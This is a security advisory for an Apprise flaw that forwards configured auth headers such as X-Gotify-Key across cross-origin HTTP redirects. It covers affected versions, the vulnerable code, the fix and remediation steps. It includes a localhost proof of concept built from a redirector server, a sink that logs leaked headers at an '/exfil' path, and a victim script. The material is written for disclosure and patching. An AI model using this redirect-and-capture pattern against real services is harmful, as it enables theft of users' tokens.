---
id: CVE-2026-59180
aliases:
  - GHSA-856c-92hv-3vxx
title: Apprise forwards configured auth headers across cross-origin HTTP redirects
summary: Apprise forwards configured auth headers across cross-origin HTTP redirects
severity: low
cvss: 3.1
cwe:
  - CWE-200
  - CWE-601
vendor: apprise
product: apprise
ecosystem: pip
affected:
  - apprise <= 1.10.0
patched:
  - apprise 1.11.0
published: '2026-10-14'
updated: '2026-10-14'
sourceUpdated: '2026-10-14T18:38:08Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-856c-92hv-3vxx'
references:
  - url: 'https://github.com/caronc/apprise/security/advisories/GHSA-856c-92hv-3vxx'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-59180'
  - url: 'https://github.com/caronc/apprise/pull/1610'
  - url: >-
      https://github.com/caronc/apprise/commit/68c0aef218055e4586cf4605fd6b56358f5f462d
  - url: 'https://github.com/caronc/apprise/releases/tag/v1.11.0'
  - url: 'https://github.com/advisories/GHSA-856c-92hv-3vxx'
tags:
  - ghsa
  - pip
epss: 0.00315
epssPercentile: 0.22769
ingestedAt: '2026-10-14T18:47:39.324Z'
---

## Overview

# Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (`apprise/attachment/http.py`, `apprise/config/http.py`) follow HTTP 3xx redirects by default and **re-send the user-configured auth headers and query parameters on the redirected request**. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a `302 Location:` to an arbitrary host and Apprise forwards the user's secret (`X-Gotify-Key`, `Authorization`, bearer tokens in query, custom `+Header=` values) to that cross-origin host. The attacker does **not** need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 [`GHSA-34jh-p97f-mpxf`](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / `CVE-2026-44431` ("`Proxy-Authorization` forwarded across cross-origin redirect").

# Affected versions

All releases up to and including `v1.10.0` (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes [PR #1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

# Details

`apprise/plugins/gotify.py` (pre-fix HEAD, lines 226-244, verbatim):

```python
headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)
```

`requests` follows 3xx redirects by default and re-attaches the `headers=` dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (`custom_json`, `custom_xml`, `custom_form`, `gotify`, `ntfy`, `mattermost`, `apprise_api`, and most other HTTP-based plugins), plus in `apprise/attachment/http.py` and `apprise/config/http.py`.

## Reproduction (local, safe)

```python
# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
```

```python
# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
```

```python
# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")
```

Observed on `master` HEAD (2026-05-13): `attacker_sink.py` prints `X-Gotify-Key: SECRETTOKEN` -- the user-supplied token followed the cross-origin redirect.

# Patch

Fix landed in [`caronc/apprise#1610`](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit `68c0aef`):

- Adds `?redirect=yes|no` URL parameter on every plugin URL
- Adds `AppriseAsset.http_redirects` global default
- Equivalent flags wired into `apprise/attachment/http.py` and `apprise/config/http.py`

The default remains `redirects=True` for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append `?redirect=no` to their Apprise URLs or set `AppriseAsset(http_redirects=False)` globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:
- Documentation: [`caronc/apprise-docs#60`](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16)
- API counterpart: [`caronc/apprise-api#331`](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)

# Remediation

Upgrade to Apprise v1.11.0 or later (`pip install -U apprise`).

The default remains `redirect=yes` for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set `AppriseAsset(http_redirects=False)` globally or append `?redirect=no` to each plugin URL.

If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).

# Classification

- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom `+Header=` values are forwarded onto the cross-origin redirected request.
- **CWE-601** URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.

CVSS 3.1: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N` -> **3.1 LOW**.

Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.

## Affected packages

- `apprise <= 1.10.0`

## Remediation

Upgrade to a patched release:

- `apprise 1.11.0`